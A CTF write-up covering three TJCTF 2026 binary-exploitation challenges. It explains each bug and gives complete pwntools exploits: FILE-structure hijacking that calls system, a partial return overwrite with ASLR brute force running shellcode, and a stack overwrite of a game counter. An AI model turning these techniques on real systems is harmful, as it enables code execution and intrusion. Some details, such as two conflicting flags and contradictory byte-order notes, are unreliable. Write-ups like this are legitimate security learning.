- Published on
TJCTF 2026 - PWN challenges
- Authors

- Name
- kerszi
Introduction
You can learn about the CTF. We solve (codex, kimi, claude) all tasks...
Ox78

Ox78 is a 64-bit PIE binary with Full RELRO, NX, SHSTK and IBT enabled, but no stack canary. The intended path is not classic ROP; the binary gives good FSOP primitives against a heap FILE object.
Relevant files:
Ox78- target binarylibc.so.6- challenge libc, glibc 2.34ld-linux-x86-64.so.2- challenge loader01-solution.py- final exploit
Program Behavior
The challenge:
- Opens
/tmp/test.txtwithfopen. - Stores the resulting
FILE *in globalfp. - Prints the heap address of
fp. - Prints the resolved
putsaddress from the GOT, giving a libc leak. - Calls
read(0, fp, 0x78), giving control of the first0x78bytes of theFILE. - Calls
prevent_fsop(), which only zerosfp->_chainat offset0x68; the supposed validation is ineffective. - Calls
fread(testbuf, 1, 0x78, fp). - Calls
prevent_fsop()again and returns.
Exploit Idea
The first write controls enough of fp to turn the later fread into an arbitrary write. Set:
_IO_read_ptr == _IO_read_end, sofreadneeds underflow._fileno = 0, so glibc reads from stdin._IO_buf_base = fp + 0x20_IO_buf_end = _IO_buf_base + 0x380
During fread, glibc reaches _IO_SYSREAD, effectively:
read(0, fp + 0x20, 0x380);
That second write places the final fake FILE, fake _IO_wide_data, and fake wide vtable.
The trigger is House of Apple 2:
_IO_flush_all
-> _IO_OVERFLOW(fp, EOF)
-> _IO_wfile_overflow(fp, EOF)
-> _IO_wdoallocbuf(fp)
-> fp->_wide_data->_wide_vtable->__doallocate(fp)
-> system(fp)
The start of fp is b" sh\0", so this becomes:
system(" sh");
The leading spaces are harmless for /bin/sh, while the flag bits avoid _IO_NO_READS, _IO_NO_WRITES, _IO_UNBUFFERED, etc.
Important Offsets
For the challenge glibc:
puts = libc + 0x84ed0
system = libc + 0x54ae0
_IO_wfile_jumps = libc + 0x21a020
Useful FILE offsets:
_flags 0x00
_IO_read_ptr 0x08
_IO_read_end 0x10
_IO_write_base 0x20
_IO_write_ptr 0x28
_IO_buf_base 0x38
_IO_buf_end 0x40
_chain 0x68
_fileno 0x70
_lock 0x88
_wide_data 0xa0
_mode 0xc0
vtable 0xd8
Useful _IO_wide_data offsets:
_IO_write_base 0x18
_IO_write_ptr 0x20
_IO_buf_base 0x30
_wide_vtable 0xe0
Fake wide vtable:
__doallocate = wide_vtable + 0x68 = system
Where The Problems Were
1. The second write originally started at fp + 0x78
That looked natural because the first read covered fp[0x00..0x77], and stage 2 needed to fill the rest of the structure.
But fread mutates the FILE after _IO_SYSREAD. In GDB, after the second read, glibc had changed the normal buffer pointers:
fp->_IO_write_base == fp->_IO_write_ptr
That breaks the _IO_flush_all condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
So the fake vtable was present, but the overflow call was not reached.
Fix: make the arbitrary write start at fp + 0x20, not fp + 0x78, and rewrite _IO_write_base = 0, _IO_write_ptr = 1 in stage 2 after glibc's mutation.
2. Debugging by symbol names was unreliable
GDB did not resolve pending breakpoints such as _IO_flush_all or _IO_wfile_overflow cleanly with the provided libc. The reliable route was:
- Disable ASLR in GDB.
- Break at
mainor after the printed leaks. - Use
info proc mappingsto get the libc base. - Set breakpoints by absolute addresses from local libc offsets.
The most useful breakpoint was just after fread, at Ox78+0xd3, then dumping the FILE memory to see exactly which fields glibc had changed.
3. Local LD_PRELOAD made /bin/sh fail
The local process was started as:
process(['./ld-linux-x86-64.so.2', './Ox78'],
env={'LD_PRELOAD': os.path.abspath('./libc.so.6')})
This is enough to test that system(" sh") is reached, but the spawned /bin/sh inherits LD_PRELOAD=./libc.so.6. On the host, that libc may not satisfy the system shell's required GLIBC version, causing errors such as:
sh: ./libc.so.6: version `GLIBC_2.38' not found
The remote service and Docker-style challenge environment do not have this mismatch, so the same payload works there.
4. The process often aborts after command output
After command execution, glibc may later trip heap assertions because the fake FILE and heap state are corrupt. This is not a blocker; send the command, receive the flag, and ignore the late abort.
Final Exploit
#!/usr/bin/env python3
# House of Apple 2 na stdin->FILE (Ox78)
from pwn import *
context.binary = ELF('./Ox78', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
def start():
if args.REMOTE:
host, port = args.HOST, int(args.PORT)
return remote(host, port)
open('/tmp/test.txt', 'w').write('test file\n')
return process(['./ld-linux-x86-64.so.2', './Ox78'],
env={'LD_PRELOAD': os.path.abspath('./libc.so.6')})
io = start()
io.recvuntil(b'File Structure: 0x')
fp = int(io.recvline().strip(), 16)
io.recvuntil(b'libc leak as well: ')
puts = int(io.recvline().strip(), 16)
libc.address = puts - libc.sym['puts']
log.success('fp = %#x', fp)
log.success('libc base = %#x', libc.address)
system = libc.sym['system']
wfile_jmp = libc.sym['_IO_wfile_jumps']
A = fp + 0x20
LEN = 0x380
f1 = flat({
0x00: b' sh\x00\x00\x00\x00\x00',
0x08: p64(0),
0x10: p64(0),
0x18: p64(0),
0x20: p64(0),
0x28: p64(1),
0x30: p64(0),
0x38: p64(A),
0x40: p64(A + LEN),
0x70: p32(0),
}, filler=b'\x00', length=0x78)
io.send(f1)
wide_data = A + 0x180
wide_vtable = A + 0x280
lock_addr = A + 0x160
stage = flat({
0x00: p64(0),
0x08: p64(1),
0x10: p64(0),
0x68: p64(lock_addr),
0x80: p64(wide_data),
0xA8: p64(0),
0xC0: p64(wfile_jmp),
(wide_data - A) + 0x18: p64(0),
(wide_data - A) + 0x20: p64(0),
(wide_data - A) + 0x30: p64(0),
(wide_data - A) + 0xe0: p64(wide_vtable),
(wide_vtable - A) + 0x68: p64(system),
}, filler=b'\x00', length=LEN)
io.send(stage)
if args.CMD:
io.sendline(args.CMD.encode())
print(io.recvall(timeout=2).decode(errors='replace'))
else:
io.interactive()
Flag:
tjctf{d0uBl3_FSoP_1s_fUN_29391}
Greetings

Flag:
TJCTF{7h15_15_4_51gn3d_1nt3g3r_0v3yfl0w}
Program Behavior
The binary reads a username, then a password. The vulnerability lies in the username input handling:
- It reads the username length as an integer
- It adds 2 to that length
- It allocates a buffer of that size
- It uses
fgetsto read the username into the buffer
The issue is that fgets reads size-1 bytes and null-terminates. With careful manipulation, we can achieve a 1-byte partial overwrite of the return address.
Exploit Strategy
The binary has a jmp rax gadget at offset 0x10DF. The plan is:
- Overwrite the least significant byte of the return address to point to
jmp rax - Place shellcode in the username buffer
- The
jmp raxwill jump to our shellcode
Key Details
- The PIE base needs to end with
0xF000for the partial overwrite to work - For remote, we need to brute force the ASLR (about 1 in 16 chance per attempt)
- The username buffer is at a known offset from the return address
Final Exploit
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./greetings", checksec=False)
context.arch = "amd64"
LD = "./ld-linux-x86-64.so.2"
LIBC_DIR = "."
REMOTE_HOST = "tjc.tf"
REMOTE_PORT = 31373
OFFSET = 72
JMP_RAX = 0x10DF
def start():
if args.REMOTE:
return remote(args.HOST or REMOTE_HOST, int(args.PORT or REMOTE_PORT))
return process([LD, "--library-path", LIBC_DIR, elf.path])
def build_payload(pie=None):
shellcode = asm(
shellcraft.open("/flag.txt")
+ shellcraft.read("rax", "rsp", 0x100)
+ shellcraft.write(1, "rsp", "rax")
+ shellcraft.exit(0)
)
assert b"\n" not in shellcode
assert shellcode[0] != ord("@")
payload = flat(
shellcode,
b"A" * (OFFSET - len(shellcode)),
)
if pie is None:
payload += b"\xdf"
else:
payload += p64(pie + JMP_RAX)
return payload
def attempt():
io = start()
if args.REMOTE:
pie = int(args.PIE, 16) if args.PIE else None
else:
with open(f"/proc/{io.pid}/maps", "r") as f:
for line in f:
if "greetings" in line and "r-xp" in line:
pie = int(line.split("-")[0], 16) - 0x1000
break
log.info(f"PIE base = {pie:#x}")
payload = build_payload(pie)
if args.REMOTE and pie is None:
io.sendlineafter(b"username: ", str(len(payload) - 1).encode())
elif args.REMOTE:
io.sendlineafter(b"username: ", str(len(payload) + 8).encode())
else:
io.sendline(str(len(payload) + 8).encode())
io.sendlineafter(b"@): ", payload)
out = io.recvall(timeout=2)
io.close()
return out
if args.REMOTE and not args.PIE and args.BRUTE:
for i in range(int(args.N or 512)):
log.info(f"attempt {i + 1}")
out = attempt()
if b"tjctf{" in out or b"OK" in out:
print(out.decode(errors="ignore"))
break
else:
log.failure("no successful ASLR hit")
raise SystemExit
out = attempt()
print(out.decode(errors="ignore"))
FLAG:
tjctf{rAx_h01ds_r3t_v@lS?_189278}
hunting field

Program Behavior
This is a text-based game where you input coordinate pairs. The vulnerability lies in how the game handles invalid inputs.
Vulnerability Analysis
- The game has a buffer
input_logon the stack that stores previous inputs - For invalid inputs, the game writes to
input_logbackwards - The variable
killCt(kill count) is located near theinput_logbuffer - By carefully crafting inputs, we can overwrite
killCtwith a specific value
Exploit Strategy
- Send 32 pairs of invalid coordinates to fill the
input_logbuffer up to thekillCtvariable - Send two more pairs to overwrite
killCtwith the value0x68756e74(which is "tnhu" in little-endian) - The magic value
0x68756e74causes the game to print the flag whengame_over()is called - Send 32 more pairs with null bytes to trigger the game over condition
Key Details
- Each pair of coordinates writes 2 bytes to the
input_logbuffer - After 32 pairs, we're at offset
rbp-0x84 killCtis atrbp-0x84- The byte order in memory is
b"tnuh"for the value0x68756e74 - Sending null bytes as input causes the game to treat it as end-of-string and complete the turn
Final Exploit
#!/usr/bin/env python3
from pwn import *
exe = context.binary = ELF("./game", checksec=False)
def start():
if args.REMOTE:
host = args.HOST or "tjc.tf"
port = int(args.PORT or 31412)
return remote(host, port)
return process(exe.path)
def main():
io = start()
for _ in range(32):
io.sendline(b"xx")
io.sendline(b"hu")
io.sendline(b"nt")
for _ in range(32):
io.sendline(b"\x00\x00")
print(io.recvall(timeout=3).decode(errors="replace"))
if __name__ == "__main__":
main()
Flag:
tjctf{pr0fes5iona1_hunt3r}
Bonus
You can find all binaries here: https://github.com/MindCraftersi/ctf/tree/main/2026/tjctf-2026/pwn/
